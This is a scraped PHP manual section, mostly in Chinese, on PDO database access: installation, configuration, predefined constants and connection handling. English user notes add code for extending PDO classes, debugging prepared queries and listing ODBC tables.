In my case I have an Access database setup with several tables. In ODBC I have created a link. Running the all on everything result above shows a set of system tables which I do not need to know about at this point so I look at the result and then build my new table check using the "TABLE" string as the tables I am interested in are listed as "TABLE" under their "TABLE_TYPE" column.
liquidicee at hotmail dot com 10-Mar-2001 08:02
Here's how to get a list of all the tables in your database.. with an actual example of how its done and how to get the results.. and you don't need to put in schema and all that other crap

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
if (odbc_result($tablelist, 4) == "TABLE")
echo odbc_result($tablelist, 3) ."<br>";
}
?>

to understand what the above is doing,
use odbc_result_all($tablelist); this will show you EVERYTHING returned by odbc_tables() then you can look through it and see better how odbc_tables() works and what exactly it returns in the string to get a better idea on how to deal with it.
it would have saved me alot of time if i would have just taken a look at the full string returned by odbc_tables(), so i suggest you take the minute or two and look... here is an example of how to do it..which would have been helpful for me ;x.

<?php
$conn = odbc_connect("$database", "$username", "$password");
$tablelist = odbc_tables($conn);
while (odbc_fetch_row($tablelist)) {
echo odbc_result_all($tablelist);
}
?>

hopefully this will help some people.. i have alot more to add about this but no time :(
so again hope this helps.
Liquidice


PHP 数据对象

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 连接与连接管理
  • 事务与自动提交
  • 预处理语句与存储过程
  • 错误与错误处理
  • 大对象 (LOB)
  • PDO — PDO 类
    • PDO::beginTransaction — 启动一个事务
    • PDO::commit — 提交一个事务
    • PDO::__construct — 创建一个表示数据库连接的 PDO 实例
    • PDO::errorCode — 获取跟数据库句柄上一次操作相关的 SQLSTATE
    • PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle
    • PDO::exec — 执行 SQL 语句，并返回受影响的行数
    • PDO::getAttribute — 取回一个数据库连接的属性
    • PDO::getAvailableDrivers — 返回一个可用驱动的数组
    • PDO::inTransaction — 检查是否在事务内
    • PDO::lastInsertId — 返回最后插入行的ID或序列值
    • PDO::prepare — 预处理要执行的语句，并返回语句对象
    • PDO::query — 预处理并执行没有占位符的 SQL 语句
    • PDO::quote — 为 SQL 查询里的字符串添加引号
    • PDO::rollBack — 回滚事务
    • PDO::setAttribute — 设置属性
  • PDOStatement — PDOStatement 类
    • PDOStatement::bindColumn — 绑定一列到一个 PHP 变量
    • PDOStatement::bindParam — 绑定一个参数到指定的变量名
    • PDOStatement::bindValue — 把一个值绑定到一个参数
    • PDOStatement::closeCursor — 关闭游标，使语句能再次被执行
    • PDOStatement::columnCount — 返回结果集中的列数
    • PDOStatement::debugDumpParams — 打印一条 SQL 预处理命令
    • PDOStatement::errorCode — 获取跟上一次语句句柄操作相关的 SQLSTATE
    • PDOStatement::errorInfo — 获取跟上一次语句句柄操作相关的扩展错误信息
    • PDOStatement::execute — 执行预处理语句
    • PDOStatement::fetch — 从结果集中获取下一行
    • PDOStatement::fetchAll — 从结果集中获取剩余的行
    • PDOStatement::fetchColumn — 从结果集中的下一行返回单独的一列
    • PDOStatement::fetchObject — 获取下一行并作为一个对象返回
    • PDOStatement::getAttribute — 检索语句属性
    • PDOStatement::getColumnMeta — 返回结果集中一列的元数据
    • PDOStatement::getIterator — Gets result set iterator
    • PDOStatement::nextRowset — 在一个多行集合语句句柄中推进到下一个行集合
    • PDOStatement::rowCount — 返回受上一个 SQL 语句影响的行数
    • PDOStatement::setAttribute — 设置一个语句属性
    • PDOStatement::setFetchMode — 为语句设置默认的获取模式
  • PDOException — PDOException 异常类
  • PDO 驱动
    • CUBRID (PDO) — CUBRID Functions (PDO_CUBRID)
    • MS SQL Server (PDO) — Microsoft SQL Server and Sybase Functions (PDO_DBLIB)
    • Firebird (PDO) — Firebird Functions (PDO_FIREBIRD)
    • IBM (PDO) — IBM Functions (PDO_IBM)
    • Informix (PDO) — Informix Functions (PDO_INFORMIX)
    • MySQL (PDO) — MySQL Functions (PDO_MYSQL)
    • MS SQL Server (PDO) — Microsoft SQL Server Functions (PDO_SQLSRV)
    • Oracle (PDO) — Oracle Functions (PDO_OCI)
    • ODBC and DB2 (PDO) — ODBC and DB2 Functions (PDO_ODBC)
    • PostgreSQL (PDO) — PostgreSQL Functions (PDO_PGSQL)
    • SQLite (PDO) — SQLite Functions (PDO_SQLITE)

User Contributed Notes

wiserufferto at gmail dot com 17-Feb-2021 02:12
This is a little late... but I'm old and slow.......
Regarding Extending PDOStatement and PDO I found that sending the PDOExtended class by reference helps:
    In the constructor after parent::__construct() :
$this->setAttribute(\PDO::ATTR_STATEMENT_CLASS,array('PDOStatementExtended', [&$this]));}

And in
class PDOStatementExtended extends \PDOStatement
{

  protected function __construct
  (
    \PDO &$PDO,
   )
matthew at button-mashers dot net 07-May-2014 11:31
When using prepared statements there is no official PDO feature to show you the final query string that is submitted to a database complete with the parameters you passed.

Use this simple function for debugging. The values you are passing may not be what you expect.

<?php
//Sample query string
$query = "UPDATE users SET name = :user_name WHERE id = :user_id";

//Sample parameters
$params = [':user_name' => 'foobear', ':user_id' => 1001];

function build_pdo_query($string, $array) {
    //Get the key lengths for each of the array elements.
    $keys = array_map('strlen', array_keys($array));

    //Sort the array by string length so the longest strings are replaced first.
    array_multisort($keys, SORT_DESC, $array);

    foreach($array as $k => $v) {
        //Quote non-numeric values.
        $replacement = is_numeric($v) ? $v : "'{$v}'";

        //Replace the needle.
        $string = str_replace($k, $replacement, $string);
    }

    return $string;
}

echo build_pdo_query($query, $params);    //UPDATE users SET name = 'foobear' WHERE id = 1001
?>
Sbastien Gourmand 08-Jul-2013 10:19
Merge the prepare() and execute() in one function like a sprintf().
And like sprintf, I choose to use unnamed args (?) ;)

you could still use old insecure query() ( not prepared ) with renamed function :)

<?php
class MyPDO extends PDO{

    const PARAM_host='localhost';
    const PARAM_port='3306';
    const PARAM_db_name='test';
    const PARAM_user='root';
    const PARAM_db_pass='';

    public function __construct($options=null){
        parent::__construct('mysql:host='.MyPDO::PARAM_host.';port='.MyPDO::PARAM_port.';dbname='.MyPDO::PARAM_db_name,
MyPDO::PARAM_user,
MyPDO::PARAM_db_pass,$options);
    }

    public function query($query){ //secured query with prepare and execute
        $args = func_get_args();
        array_shift($args); //first element is not an argument but the query itself, should removed

        $reponse = parent::prepare($query);
        $reponse->execute($args);
        return $reponse;

    }

    public function insecureQuery($query){ //you can use the old query at your risk ;) and should use secure quote() function with it
        return parent::query($query);
    }

}

$db = new MyPDO();
$db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);

$t1 = isset($_GET["t1"])?$_GET["t1"]:1; // need to be securised for injonction
$t2 = isset($_GET["t2"])?$_GET["t2"]:2; // need to be securised for injonction
$t3 = isset($_GET["t3"])?$_GET["t3"]:3; // need to be securised for injonction

$ret = $db->query("SELECT * FROM table_test WHERE t1=? AND t2=? AND t3=?",$t1,$t2,$t3);
//$ret = $db->insecureQuery("SELECT * FROM table_test WHERE t1=".$db->quote($t1));

while ($o = $ret->fetch())
{
    echo $o->nom.PHP_EOL;
}
?>
lkmorlan at uwaterloo dot ca 04-Jan-2011 07:25
You may also have to edit /etc/freetds.conf. Make sure the TDS version is recent, e.g., "tds version = 8.0".
lkmorlan at uwaterloo dot ca 29-Jun-2010 09:38
This works to get UTF8 data from MSSQL:

<?php
$db = new PDO('dblib:host=your_hostname;dbname=your_db;CHARSET=gb2312', $user, $pass);
?>
neonmandk at gmail dot com 10-Dec-2007 04:29
If you will make a OBJ row from PDO you can use this eg.

$resKampange = $dbc->prepare( "SELECT * FROM Table LIMIT 1" );
$resKampange->execute();
$rowKampange = $resKampange->fetch( PDO::FETCH_OB );

echo $rowKampange->felt1;

Good lock :0)
Konstantin at Tokar dot ru 16-Oct-2007 08:34
Example 5:
<?php
try {
  $dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
      array(PDO::ATTR_PERSISTENT => true));
.......
} catch (Exception $e) {
  $dbh->rollBack();
  echo "Failed: " . $e->getMessage();
}
?>

We must change the last two lines to catch the error connecting to the database:

} catch (Exception $e) {
  echo "Failed: " . $e->getMessage();
  $dbh->rollBack();
}
?>
anton dot clarke at sonikmedia dot com 02-Sep-2007 12:12
Not all PDO drivers return a LOB as a file stream; mysql 5 is one example. Therefore when streaming a mime typed object from the database you cannot use fpassthru.

The following is a modified example that works with a mysql database. (Tested FreeBSD v 6.2 with mysql 5.0.45 and php 5.2.3)

<?php
ob_start();
$db = new PDO('mysql:host=localhost;dbname=<SOMEDB>', '<USERNAME>', 'PASSWORD');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
$stmt->fetch(PDO::FETCH_BOUND);
ob_clean();
header("Content-Type: $type");
echo $lob; // fpassthru reports an error that $lob is not a stream so echo is used in place.
ob_end_flush();
?>

Please note the inclusion of buffer control. I only needed this when using 'include','include_once','require', or 'require_once' - my feeling is there is a subtle issue with those options as even an empty include file caused a buffer issue for me. === AND YES, I DID CHECK MY INCLUDE FILES DID NOT HAVE SPURIOUS WHITESPACE ETC OUTSIDE THE <?php ?> DELIMITERS! ===
bart at mediawave dot nl 23-May-2007 07:57
It seems MySQL doesn't support scrollable cursors. So unfortunately PDO::CURSOR_SCROLL wont work.
webform at aouie dot website 27-Sep-2006 11:38
If you use $dbh = new PDO('pgsql:host=localhost;dbname=test_basic01', $user, $pass); and you get the following error:
PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[08006] [7] could not connect to server: Connection refused\n\tIs the server running on host "localhost" and accepting\n\tTCP/IP connections on port 5432?'
then as pointed out under pg_connect at: http://www.php.net/manual/en/function.pg-connect.php#38291
******
you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
******
Sincerely,
Aouie
djlopez at gmx dot de 30-Aug-2006 02:56
Please note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM ?  WHERE calories < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

The parameter cannot be applied on table names!!
paulius_k at yahoo dot com 25-Jul-2006 08:42
If you need to get Output variable from MSSQL stored procedure, try this :

-- PROCEDURE
CREATE PROCEDURE spReturn_Int @err int OUTPUT
AS
SET @err = 11
GO

$sth = $dbh->prepare("EXECUTE spReturn_Int ?");
$sth->bindParam(1, $return_value, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$sth->execute();
print "procedure returned $return_value\n";
pokojny at radlight dot com 23-Apr-2006 08:50
I wanted to extend PDO class to store statistics of DB usage, and I faced some problems. I wanted to count number of created statements and number of their executings. So PDOStatement should have link to PDO that created it and stores the statistical info. The problem was that I didn't knew how PDO creates PDOStatement (constructor parameters and so on), so I have created these two classes:

<?php
/**
 * PHP Document Object plus
 *
 * PHP Document Object plus is library with functionality of PDO, entirely written
 * in PHP, so that developer can easily extend it's classes with specific functionality,
 * such as providing database usage statistics implemented in v1.0b
 *
 * @author Peter Pokojny
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 */
    class PDOp {
        protected $PDO;
        public $numExecutes;
        public $numStatements;
        public function __construct($dsn, $user=NULL, $pass=NULL, $driver_options=NULL) {
            $this->PDO = new PDO($dsn, $user, $pass, $driver_options);
            $this->numExecutes = 0;
            $this->numStatements = 0;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDO, $func), $args);
        }
        public function prepare() {
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'prepare'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function query() {
            $this->numExecutes++;
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'query'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function exec() {
            $this->numExecutes++;

            $args = func_get_args();
            return call_user_func_array(array(&$this->PDO, 'exec'), $args);
        }
    }
    class PDOpStatement implements IteratorAggregate {
        protected $PDOS;
        protected $PDOp;
        public function __construct($PDOp, $PDOS) {
            $this->PDOp = $PDOp;
            $this->PDOS = $PDOS;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDOS, $func), $args);
        }
        public function bindColumn($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindColumn($column, $param);
            else
                $this->PDOS->bindColumn($column, $param, $type);
        }
        public function bindParam($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindParam($column, $param);
            else
                $this->PDOS->bindParam($column, $param, $type);
        }
        public function execute() {
            $this->PDOp->numExecutes++;
            $args = func_get_args();
            return call_user_func_array(array(&$this->PDOS, 'execute'), $args);
        }
        public function __get($property) {
            return $this->PDOS->$property;
        }
        public function getIterator() {
            return $this->PDOS;
        }
   }
?>

Classes have properties with original PDO and PDOStatement objects, which are providing the functionality to PDOp and PDOpStatement.
From outside, PDOp and PDOpStatement look like PDO and PDOStatement, but also are providing wanted info.
www.navin.biz 19-Feb-2006 10:16
Below is an example of extending PDO & PDOStatement classes:

<?php

class Database extends PDO
{
    function __construct()
    {
        parent::__construct('mysql:dbname=test;host=localhost', 'root', '');
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}

class DBStatement extends PDOStatement
{
    public $dbh;

    protected function __construct($dbh)
    {
        $this->dbh = $dbh;
        $this->setFetchMode(PDO::FETCH_OBJ);
    }

    public function foundRows()
    {
        $rows = $this->dbh->prepare('SELECT found_rows() AS rows', array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => TRUE));
        $rows->execute();
        $rowsCount = $rows->fetch(PDO::FETCH_OBJ)->rows;
        $rows->closeCursor();
        return $rowsCount;
    }
}

?>
shaolin at adf dot nu 07-Feb-2006 06:18
If your having problems re-compiling PHP with PDO as shared module try this.

--enable-pdo=shared
--with-pdo-mysql=shared,/usr/local/mysql
--with-sqlite=shared
--with-pdo-sqlite=shared

1. If PDO is built as a shared modules, all PDO drivers must also be
built as shared modules.
2. If ext/pdo_sqlite is built as a shared module, ext/sqlite must also
be built as a shared module.
3. In the extensions entries, if ext/pdo_sqlite is built as a shared
module, php.ini must specify pdo_sqlite first, followed by sqlite.


简介

PHP 数据对象（PDO）扩展为 PHP 访问数据库定义了一个轻量级的一致接口。实现 PDO 接口的每个数据库驱动可以将特定具体数据库的特性公开作为标准扩展函数。注意不能单独使用 PDO 扩展执行任何数据库功能；必须使用具体数据库的 PDO 驱动程序来访问数据库服务器。

PDO 提供了数据访问抽象层，这意味着，不管使用哪种数据库，都可以用相同的函数来查询和获取数据。PDO 不提供数据库抽象；不会重写 SQL 或模拟缺失的特性。如果需要，应该使用成熟的抽象层。

PDO 随 PHP 一起提供。

User Contributed Notes

There are no user contributed notes for this page.


安装

在 Unix 系统上安装 PDO

  1. PDO 和 PDO_SQLITE 驱动默认可用。对于自己选择的数据库，需要启用相应的 POD 驱动； 查阅 特定数据库的 PDO 驱动 文档获取更多此内容。

    Note:

    当以共享扩展（不推荐）构建 PDO 时，所有 PDO 驱动 必须 在 PDO 自身 之后 加载。

  2. 当作为一个共享模块安装 PDO 时，需要更新 php.ini 文件以便当 PHP 运行时 PDO 扩展能被自动加载。还需要在那里启用具体的数据库驱动；确保它们被列在 pdo.so 那一行之后，因为 PDO 必须在具体的 数据库扩展被载入前初始化。如果静态地构建 PDO 和 具体数据库扩展，可以跳过此步。

    extension=pdo.so

Windows 用户

  1. 选择其他具体数据库的 DLL 文件，然后要么在运行时用 dl() 载入， 要么在 php.ini 中的 php_pdo.dll 后面启用。例如：

    extension=php_pdo.dll
extension=php_pdo_firebird.dll
extension=php_pdo_informix.dll
extension=php_pdo_mssql.dll
extension=php_pdo_mysql.dll
extension=php_pdo_oci.dll
extension=php_pdo_oci8.dll
extension=php_pdo_odbc.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll

    那些 DLL 文件应该在系统的extension_dir 中存在。

Note:

记住：更改 php.ini 文件后需要重启 PHP 服务才能使新的配置指令生效。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

PDO 配置选项
名字 | 默认 | 可修改范围 | 更新日志
pdo.dsn.* |  | 仅 php.ini |

这是配置指令的简短说明。

pdo.dsn.* string

定义 DSN 别名。 参见 PDO::__construct() 详细说明。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

PDO::PARAM_BOOL (int)
表示布尔数据类型。
PDO::PARAM_NULL (int)
表示 SQL 中的 NULL 数据类型。
PDO::PARAM_INT (int)
表示 SQL 中的整型。
PDO::PARAM_STR (int)
表示 SQL 中的 CHAR、VARCHAR 或其他字符串类型。
PDO::PARAM_STR_NATL (int)
标记了字符使用的是国家字符集（national character set）。 自 PHP 7.2.0 起。
PDO::PARAM_STR_CHAR (int)
标记了字符使用的是常规字符集（regular character set）。 自 PHP 7.2.0 起。
PDO::PARAM_LOB (int)
表示 SQL 中大对象数据类型。
PDO::PARAM_STMT (int)
表示一个记录集类型。当前尚未被任何驱动支持。
PDO::PARAM_INPUT_OUTPUT (int)
指定参数为一个存储过程的 INOUT 参数。必须用一个明确的 PDO::PARAM_* 数据类型跟此值进行按位或。
PDO::FETCH_DEFAULT (int)
指定将要使用的默认获取模式。自 PHP 8.0.7 可用。
PDO::FETCH_LAZY (int)
指定获取方式，将结果集中的每一行作为一个对象返回，此对象的变量名对应着列名。PDO::FETCH_LAZY 创建用来访问的对象变量名。在 PDOStatement::fetchAll() 中无效。
PDO::FETCH_ASSOC (int)
指定获取方式，将对应结果集中的每一行作为一个由列名索引的数组返回。如果结果集中包含多个名称相同的列，则PDO::FETCH_ASSOC每个列名只返回一个值。
PDO::FETCH_NAMED (int)
指定获取方式，将对应结果集中的每一行作为一个由列名索引的数组返回。如果结果集中包含多个名称相同的列，则PDO::FETCH_ASSOC每个列名 返回一个包含值的数组。
PDO::FETCH_NUM (int)
指定获取方式，将对应结果集中的每一行作为一个由列号索引的数组返回，从第 0 列开始。
PDO::FETCH_BOTH (int)
指定获取方式，将对应结果集中的每一行作为一个由列号和列名索引的数组返回，从第 0 列开始。
PDO::FETCH_OBJ (int)
指定获取方式，将结果集中的每一行作为一个属性名对应列名的对象返回。
PDO::FETCH_BOUND (int)
指定获取方式，返回 TRUE 且将结果集中的列值分配给通过 PDOStatement::bindParam() 或 PDOStatement::bindColumn() 方法绑定的 PHP 变量。
PDO::FETCH_COLUMN (int)
指定获取方式，从结果集中的下一行返回所需要的那一列。
PDO::FETCH_CLASS (int)
指定获取方式，返回一个所请求类的新实例，映射列到类中对应的属性名。

Note: 如果所请求的类中不存在该属性，则调用 __set() 魔术方法

PDO::FETCH_INTO (int)
指定获取方式，更新一个请求类的现有实例，映射列到类中对应的属性名。
PDO::FETCH_FUNC (int)
允许在运行中完全用自定义的方式处理数据。（仅在 PDOStatement::fetchAll() 中有效）。
PDO::FETCH_GROUP (int)
根据值分组返回。通常和 PDO::FETCH_COLUMN 或 PDO::FETCH_KEY_PAIR 一起使用。
PDO::FETCH_UNIQUE (int)
只取唯一值。
PDO::FETCH_KEY_PAIR (int)
获取一个有两列的结果集到一个数组，其中第一列为键名，第二列为值。
PDO::FETCH_CLASSTYPE (int)
根据第一列的值确定类名。
PDO::FETCH_SERIALIZE (int)
类似 PDO::FETCH_INTO，但是以序列化的字符串表示对象。如果设置此标志，则类的构造函数永远不会被调用。自 PHP 8.1.0 起弃用。
PDO::FETCH_PROPS_LATE (int)
设置属性前调用构造函数。
PDO::ATTR_AUTOCOMMIT (int)
如果此值为 false ，PDO 将试图禁用自动提交以便数据库连接开始一个事务。
PDO::ATTR_PREFETCH (int)
设置预取大小来为你的应用平衡速度和内存使用。并非所有的数据库/驱动组合都支持设置预取大小。较大的预取大小导致性能提高的同时也会占用更多的内存。
PDO::ATTR_TIMEOUT (int)
设置连接数据库的超时秒数。
PDO::ATTR_ERRMODE (int)
关于此属性的更多信息请参见 错误及错误处理 部分。
PDO::ATTR_SERVER_VERSION (int)
此为只读属性；返回 PDO 所连接的数据库服务的版本信息。
PDO::ATTR_CLIENT_VERSION (int)
此为只读属性；返回 PDO 驱动所用客户端库的版本信息。
PDO::ATTR_SERVER_INFO (int)
此为只读属性。返回一些关于 PDO 所连接的数据库服务的元信息。
PDO::ATTR_CONNECTION_STATUS (int)
PDO::ATTR_CASE (int)
用类似 PDO::CASE_* 的常量强制列名为指定的大小写。
PDO::ATTR_CURSOR_NAME (int)
获取或设置使用游标的名称。当使用可滚动游标和定位更新时候非常有用。
PDO::ATTR_CURSOR (int)
选择游标类型。 PDO 当前支持 PDO::CURSOR_FWDONLY 和 PDO::CURSOR_SCROLL。一般为 PDO::CURSOR_FWDONLY，除非确实需要一个可滚动游标。
PDO::ATTR_DRIVER_NAME (int)
返回驱动名称。

Example #1 使用 PDO::ATTR_DRIVER_NAME 的例子

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
echo "Running on mysql; doing something mysql specific here\n";
}
?>

PDO::ATTR_ORACLE_NULLS (int)
在获取数据时将空字符串转换成 SQL 中的 NULL 。
PDO::ATTR_PERSISTENT (int)
请求一个持久连接，而非创建一个新连接。关于此属性的更多信息请参见 连接与连接管理 。
PDO::ATTR_STATEMENT_CLASS (int)
设置返回的 statement 类名。
PDO::ATTR_FETCH_CATALOG_NAMES (int)
将包含的目录名添加到结果集中的每个列名前面。目录名和列名由一个小数点分开（.）。此属性在驱动层面支持，所以有些驱动可能不支持此属性。
PDO::ATTR_FETCH_TABLE_NAMES (int)
将包含的表名添加到结果集中的每个列名前面。表名和列名由一个小数点分开（.）。此属性在驱动层面支持，所以有些驱动可能不支持此属性。
PDO::ATTR_STRINGIFY_FETCHES (int)
强制以字符串方式对待所有的值。
PDO::ATTR_MAX_COLUMN_LEN (int)
设置字段名最长的尺寸。
PDO::ATTR_DEFAULT_FETCH_MODE (int)
PDO::ATTR_EMULATE_PREPARES (int)
PDO::ATTR_DEFAULT_STR_PARAM (int)
设置默认 string 参数类型可以是 PDO::PARAM_STR_NATL 和 PDO::PARAM_STR_CHAR。 自 PHP 7.2.0 起可用
PDO::ERRMODE_SILENT (int)
如果发生错误，则不显示错误或异常。希望开发人员显式地检查错误。此为默认模式。关于此属性的更多信息请参见 错误与错误处理 。
PDO::ERRMODE_WARNING (int)
如果发生错误，则显示一个 PHP E_WARNING 消息。关于此属性的更多信息请参见 错误与错误处理。
PDO::ERRMODE_EXCEPTION (int)
如果发生错误，则抛出一个 PDOException 异常。关于此属性的更多信息请参见 错误与错误处理。
PDO::CASE_NATURAL (int)
保留数据库驱动返回的列名。
PDO::CASE_LOWER (int)
强制列名小写。
PDO::CASE_UPPER (int)
强制列名大写。
PDO::NULL_NATURAL (int)
PDO::NULL_EMPTY_STRING (int)
PDO::NULL_TO_STRING (int)
PDO::FETCH_ORI_NEXT (int)
在结果集中获取下一行。仅对可滚动游标有效。
PDO::FETCH_ORI_PRIOR (int)
在结果集中获取上一行。仅对可滚动游标有效。
PDO::FETCH_ORI_FIRST (int)
在结果集中获取第一行。仅对可滚动游标有效。
PDO::FETCH_ORI_LAST (int)
在结果集中获取最后一行。仅对可滚动游标有效。
PDO::FETCH_ORI_ABS (int)
根据行号从结果集中获取需要的行。仅对可滚动游标有效。
PDO::FETCH_ORI_REL (int)
根据当前游标位置的相对位置从结果集中获取需要的行。仅对可滚动游标有效。
PDO::CURSOR_FWDONLY (int)
创建一个只进游标的 PDOStatement 对象。此为默认的游标选项，因为此游标最快且是 PHP 中最常用的数据访问模式。
PDO::CURSOR_SCROLL (int)
创建一个可滚动游标的 PDOStatement 对象。通过 PDO::FETCH_ORI_* 常量来控制结果集中获取的行。
PDO::ERR_NONE (string)
对应 SQLSTATE '00000'，表示 SQL 语句没有错误或警告地成功发出。当用 PDO::errorCode() 或 PDOStatement::errorCode() 来确定是否有错误发生时，此常量非常方便。在检查上述方法返回的错误状态代码时，会经常用到。
PDO::PARAM_EVT_ALLOC (int)
分配事件
PDO::PARAM_EVT_FREE (int)
解除分配事件
PDO::PARAM_EVT_EXEC_PRE (int)
执行一条预处理语句之前触发事件。
PDO::PARAM_EVT_EXEC_POST (int)
执行一条预处理语句之后触发事件。
PDO::PARAM_EVT_FETCH_PRE (int)
从一个结果集中取出一条结果之前触发事件。
PDO::PARAM_EVT_FETCH_POST (int)
从一个结果集中取出一条结果之后触发事件。
PDO::PARAM_EVT_NORMALIZE (int)
在绑定参数注册允许驱动程序正常化变量名时触发事件。
PDO::SQLITE_DETERMINISTIC (int)
使用 PDO::sqliteCreateFunction() 创建的函数是确定性的（deterministic）。举例说明：在同一个 SQL 语句内，函数的参数不变，则返回的结果也不变。（PHP 7.1.4 起有效）

User Contributed Notes

Rexana 09-Feb-2023 03:13
Reference for PDO MySQL constants Todd mentioned have moved to here: https://www.php.net/manual/en/ref.pdo-mysql.php

This includes documentation on constants like PDO::MYSQL_ATTR_SSL_CA, PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT, and more.
Sbastien 06-Nov-2020 12:37
PDO::FETCH_UNIQUE not only fetches the unique values, it also uses the first SQL column as array key result, what is very useful for create quickly an index, eg :

<?php

$sql = <<<SQL
    SELECT ALL
        c1, -- For result indexing
        c1, c2
    FROM (
        VALUES
            ROW('ID-1', 'Value 1'),
            ROW('ID-2', 'Value 2a'),
            ROW('ID-2', 'Value 2b'),
            ROW('ID-3', 'Value 3')
    ) AS t (c1, c2);
    SQL;
$result = $pdo->query($sql);
print_r($result->fetchAll(PDO::FETCH_UNIQUE));

/*
Gives :
ID-1 => [c1 => ID-1,  c2 => Value 1]
ID-2 => [c1 => ID-2b, c2 => Value 2b]
ID-3 => [c1 => ID-3,  c2 => Value 3]
*/

?>
todd at toddwiggins dot com dot au 29-Jan-2020 11:48
Reference to all the PDO::MYSQL_* constants is available in MySQL's documentation for the driver here: https://dev.mysql.com/doc/connectors/en/apis-php-pdo-mysql.html

Such as the ones I was looking for PDO::MYSQL_ATTR_SSL_CA and PDO::MYSQL_ATTR_SSL_CAPATH which are not listed on this page.
kevin at kevinlocke dot name 08-Oct-2019 04:38
PDO::PARAM_STR_CHAR and PDO::PARAM_STR_NATL must be combined with PDO::PARAM_STR using bitwise-OR for parameter binding.

These flags control value quoting (e.g. PDO::quote) and, in some situations (see below), parameter binding  (e.g. PDO::bindParam, PDO::bindValue) to prefix string literals with N'' as defined in SQL-92.  As of PHP 7.3, only dblib and mysql support these flags.  For the mysql driver, the flags only affect parameter binding when PDO::ATTR_EMULATE_PREPARES is true (the default).

MySQL and MariaDB interpret string literals prefixed with N as being utf8 (not utf8mb4) regardless of `SET NAMES` or the charset parameter.  This can cause problems if the database/table/column charset is not utf8.  For example, in a database using utf8mb4, the query "SELECT * FROM table WHERE col = :param" and bindValue(":param", "\u{1F600}", PDO::PARAM_STR | PDO::PARAM_STR_NATL) will cause "PDOException: SQLSTATE[HY000]: General error: 1267 Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='".  Using PDO::PARAM_STR without PDO::PARAM_STR_NATL and ensuring the charset DSN parameter is set correctly can avoid this issue.

See:
https://wiki.php.net/rfc/extended-string-types-for-pdo
https://mariadb.com/kb/en/library/string-literals/
https://dev.mysql.com/doc/refman/8.0/en/string-literals.html
ko dot izawa at gmail dot com 29-Aug-2016 08:52
When you use REAL type column on SQLite, your setting of pdo parameter of bindValue() is PDO::PARAM_STR.

'''
$stmt->bindValue(':elapse_time', $e_time, PDO::PARAM_STR);
'''
Oleg Andreyev 16-Jun-2016 11:35
Default value for \PDO::ATTR_TIMEOUT is 30 seconds.
Ref.: https://github.com/php/php-src/blob/PHP-7.1.0/ext/pdo_mysql/mysql_driver.c#L600
sam at xnet dot tk 26-Jan-2013 07:37
It should be noted that PDO::FETCH_CLASS will call the constructor *after* setting the values (or calling __set).


连接与连接管理

连接是通过创建 PDO 基类的实例而建立的。使用哪种驱动程序并不重要，始终都会用 PDO 类名。构造函数接受用于指定数据库源（也称为 DSN）以及可选的用户名和密码（如果有）的参数。

Example #1 连接到 MySQL

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>

如果有任何连接错误，将抛出 PDOException 对象。如果想处理错误状态，可以捕获异常，或者选择将其留给 set_exception_handler() 设置的应用程序全局异常处理程序。

Example #2 处理连接错误

<?php
try {
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
} catch (PDOException $e) {
// 对于示例，尝试在超时后重新连接
}

Warning

就像其它任一 exception 一样，PDOException 可以通过 catch 语句手动捕获，也可以通过 set_exception_handler() 自动捕获。否则，默认行为是将未捕获的异常转换为 E_FATAL_ERROR。fatal 错误可能会包含泄漏连接详情的 backtrace。因此，生产服务器上的 php.ini 选项 display_errors 应设置为 0。

连接数据库成功后，返回 PDO 类的实例给脚本。此连接在 PDO 对象的生存周期中保持有效状态。要关闭连接，需要确保删除它的所有剩余引用来销毁对象——可以通过对对象变量赋值 null 来实现。如果没有明确这么做，PHP 在脚本结束时会自动关闭连接。

Note: 如果还有其它对此 PDO 实例的引用（比如来自 PDOStatement 实例，或来自其它同一 PDO 实例的其它变量），也必须删除这些引用（例如，通过将 null 赋值给引用 PDOStatement 的变量）。

